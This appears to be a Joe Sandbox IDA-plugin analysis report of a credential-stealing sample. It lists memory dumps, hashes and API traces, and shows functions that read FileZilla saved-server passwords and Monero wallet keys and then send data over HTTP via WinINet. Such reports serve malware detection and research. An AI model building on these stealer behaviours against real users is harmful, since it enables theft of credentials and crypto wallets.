Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b68d20486330016bc2ba3d29838127ce98a219f14751d7682740c01ac5c78fa5
Instruction ID: a005523bffbad952d781e87707a3dba8624502a65edf794f0efdd173db2eda6c
Opcode Fuzzy Hash: b68d20486330016bc2ba3d29838127ce98a219f14751d7682740c01ac5c78fa5
Instruction Fuzzy Hash: 315158F3F092148BF3481A39DD69766B6C69BD0320F2F863EDA88973C0EC7D08060285

Function 00DB7F8D Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c549721a1ede6824e11c7aaf5e5219888ec57e10957d5a5b47d1583b1d6f25f
Instruction ID: 2a2428a79ba0659471cd1335a948e81b179210ee6fb2efe8870d13f281b4de90
Opcode Fuzzy Hash: 7c549721a1ede6824e11c7aaf5e5219888ec57e10957d5a5b47d1583b1d6f25f
Instruction Fuzzy Hash: D54128F3E086148BF3046E68EDC577AB7D9EB54320F2A463D9B94937C0E9791D0486C6

Function 00E4C5E0 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b1ee7f930988c97a670ac01aa61683de59d8ffc8c04153f79563314ce3b3769
Instruction ID: 7401ceef43ae8a726329322882378d60493107ba1148e08e43addf8831f7eaa5
Opcode Fuzzy Hash: 2b1ee7f930988c97a670ac01aa61683de59d8ffc8c04153f79563314ce3b3769
Instruction Fuzzy Hash: 8F4144F3E143144BF748593DED88766769BDBD4320F2B823EDA8897388EC784D0A4285

Function 00D98902 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbf9be62d381d533e4392b65ccf9c6153d10f1f94ea988021d3afd5816e5a4b7
Instruction ID: 2bf3ecd791c0a2bc2a96f828c43a26ae514c1ab66fd4767559c75d1fb6e0fe5d
Opcode Fuzzy Hash: fbf9be62d381d533e4392b65ccf9c6153d10f1f94ea988021d3afd5816e5a4b7
Instruction Fuzzy Hash: 034128F3E192249FE3155D2CDCC57A7B796DB84324F1A863EDB8497784EC39480542C6

Function 00D85A3F Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 725503db8ad5dbda954da546085e6dd98fc3ca13d4f56d3e6ef8df3191cef82b
Instruction ID: 32ef09a13990c3d7d22bfc66142e19d52bcaf55b0ced99f9ef9f69e10a22ca63
Opcode Fuzzy Hash: 725503db8ad5dbda954da546085e6dd98fc3ca13d4f56d3e6ef8df3191cef82b
Instruction Fuzzy Hash: 424195B29097109FE745AE2ACC4466AF3E6FFC4720F1A882DDAC4C7744DB355841C796

Function 00F6209A Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08d1e029d994929978cacb6531de72c19f4988f3d1769454a90d28ec5799526c
Instruction ID: 26f5e3d9458b75263ffc85fe999a1b615f0059d422a1d5cbdd7748454116e41a
Opcode Fuzzy Hash: 08d1e029d994929978cacb6531de72c19f4988f3d1769454a90d28ec5799526c
Instruction Fuzzy Hash: D24136F360CE04DBE284AF28EC5677EB7E4EB94710F25492DD68697B04E6395400A693

Function 00F6B070 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b1e001d8de4f1d73d3be073b041a1d64030752d1f3260b81672fd0dbb3b2b5b
Instruction ID: 73891b71a0efeb7aed06900d98c7c17e020adf5bc02376426453b353230a08ea
Opcode Fuzzy Hash: 4b1e001d8de4f1d73d3be073b041a1d64030752d1f3260b81672fd0dbb3b2b5b
Instruction Fuzzy Hash: B201043355D010FFD311A9399C207ABB7A6AB96390F374829C8C7D7200DB7154C2B692

Function 00B19750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00B10250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

Part of subcall function 00B18DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B18E0B

Part of subcall function 00B1A920: lstrcpy.KERNEL32(00000000,?), ref: 00B1A972
Part of subcall function 00B1A920: lstrcat.KERNEL32(00000000), ref: 00B1A982

Part of subcall function 00B1A8A0: lstrcpy.KERNEL32(?,00B20E17), ref: 00B1A905

Part of subcall function 00B1A9B0: lstrlen.KERNEL32(?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B1A9C5
Part of subcall function 00B1A9B0: lstrcpy.KERNEL32(00000000), ref: 00B1AA04
Part of subcall function 00B1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B1AA12

Part of subcall function 00B1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B1A7E6

Part of subcall function 00B099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B099EC
Part of subcall function 00B099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B09A11
Part of subcall function 00B099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00B09A31
Part of subcall function 00B099C0: ReadFile.KERNEL32(000000FF,?,00000000,00B0148F,00000000), ref: 00B09A5A
Part of subcall function 00B099C0: LocalFree.KERNEL32(00B0148F), ref: 00B09A90
Part of subcall function 00B099C0: CloseHandle.KERNEL32(000000FF), ref: 00B09A9A

Part of subcall function 00B18E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B18E52

GetProcessHeap.KERNEL32(00000000,000F423F,00B20DBA,00B20DB7,00B20DB6,00B20DB3), ref: 00B10362
RtlAllocateHeap.NTDLL(00000000), ref: 00B10369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00B10385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B20DB2), ref: 00B10393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00B103CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B20DB2), ref: 00B103DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00B10419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B20DB2), ref: 00B10427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00B10463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B20DB2), ref: 00B10475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B20DB2), ref: 00B10502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B20DB2), ref: 00B1051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B20DB2), ref: 00B10532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B20DB2), ref: 00B1054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00B10562
lstrcat.KERNEL32(?,profile: null), ref: 00B10571
lstrcat.KERNEL32(?,url: ), ref: 00B10580
lstrcat.KERNEL32(?,00000000), ref: 00B10593
lstrcat.KERNEL32(?,00B21678), ref: 00B105A2
lstrcat.KERNEL32(?,00000000), ref: 00B105B5
lstrcat.KERNEL32(?,00B2167C), ref: 00B105C4
lstrcat.KERNEL32(?,login: ), ref: 00B105D3
lstrcat.KERNEL32(?,00000000), ref: 00B105E6
lstrcat.KERNEL32(?,00B21688), ref: 00B105F5
lstrcat.KERNEL32(?,password: ), ref: 00B10604
lstrcat.KERNEL32(?,00000000), ref: 00B10617
lstrcat.KERNEL32(?,00B21698), ref: 00B10626
lstrcat.KERNEL32(?,00B2169C), ref: 00B10635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B20DB2), ref: 00B1068E

Strings

login: , xrefs: 00B105CA
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00B102A4
<Pass encoding="base64">, xrefs: 00B1045A
browser: FileZilla, xrefs: 00B10559
<Port>, xrefs: 00B103C6
<Host>, xrefs: 00B1037C
url: , xrefs: 00B10577
profile: null, xrefs: 00B10568
<User>, xrefs: 00B10410
password: , xrefs: 00B105FB

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: f3899c4bc42127acab5e0ab35b1fed39fee87214226eed28cc2f5b76a3d0e99e
Instruction ID: ca69a55c70bf8a08ede0da1acd319fbd58da25a4cd8a139f9a41b4eb4dfca949
Opcode Fuzzy Hash: f3899c4bc42127acab5e0ab35b1fed39fee87214226eed28cc2f5b76a3d0e99e
Instruction Fuzzy Hash: F9D15C75951208ABCB04FBF4DD96EEE73B8EF14310F804598F106B6191EE74BA86CB61

Function 00B05960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B1A7E6

Part of subcall function 00B047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B04839
Part of subcall function 00B047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00B04849

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00B059F8
StrCmpCA.SHLWAPI(?,011FE3D0), ref: 00B05A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B05B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,011FE320,00000000,?,011F9F68,00000000,?,00B21A1C), ref: 00B05E71
lstrlen.KERNEL32(00000000), ref: 00B05E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00B05E93
RtlAllocateHeap.NTDLL(00000000), ref: 00B05E9A
lstrlen.KERNEL32(00000000), ref: 00B05EAF
lstrlen.KERNEL32(00000000), ref: 00B05ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00B05EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00B05F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00B05F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00B05F4C
InternetCloseHandle.WININET(00000000), ref: 00B05FB0
InternetCloseHandle.WININET(00000000), ref: 00B05FBD
HttpOpenRequestA.WININET(00000000,011FE310,?,011FDD60,00000000,00000000,00400100,00000000), ref: 00B05BF8

Part of subcall function 00B1A9B0: lstrlen.KERNEL32(?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B1A9C5
Part of subcall function 00B1A9B0: lstrcpy.KERNEL32(00000000), ref: 00B1AA04
Part of subcall function 00B1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B1AA12

Part of subcall function 00B1A8A0: lstrcpy.KERNEL32(?,00B20E17), ref: 00B1A905

Part of subcall function 00B1A920: lstrcpy.KERNEL32(00000000,?), ref: 00B1A972
Part of subcall function 00B1A920: lstrcat.KERNEL32(00000000), ref: 00B1A982

InternetCloseHandle.WININET(00000000), ref: 00B05FC7

Strings

------, xrefs: 00B05D4C
------, xrefs: 00B05C0B
", xrefs: 00B05CD5
", xrefs: 00B05E16
------, xrefs: 00B05A96

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 6f9cd2ffa73508d2e0fd66efb2c1ae2e967ebb904a06d9f9ca039437826f9041
Instruction ID: 5bd4d50bb76c8e4643c6811ad5639f568e5e1cb9a9711e10f5f3834ca20883c4
Opcode Fuzzy Hash: 6f9cd2ffa73508d2e0fd66efb2c1ae2e967ebb904a06d9f9ca039437826f9041
Instruction Fuzzy Hash: 95120071861118ABDB15EBA4DC95FEEB3B8BF14710F9041D9B10AB2191DF703A8ACF61

Function 00B0CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

Part of subcall function 00B1A9B0: lstrlen.KERNEL32(?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B1A9C5
Part of subcall function 00B1A9B0: lstrcpy.KERNEL32(00000000), ref: 00B1AA04
Part of subcall function 00B1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B1AA12

Part of subcall function 00B1A8A0: lstrcpy.KERNEL32(?,00B20E17), ref: 00B1A905

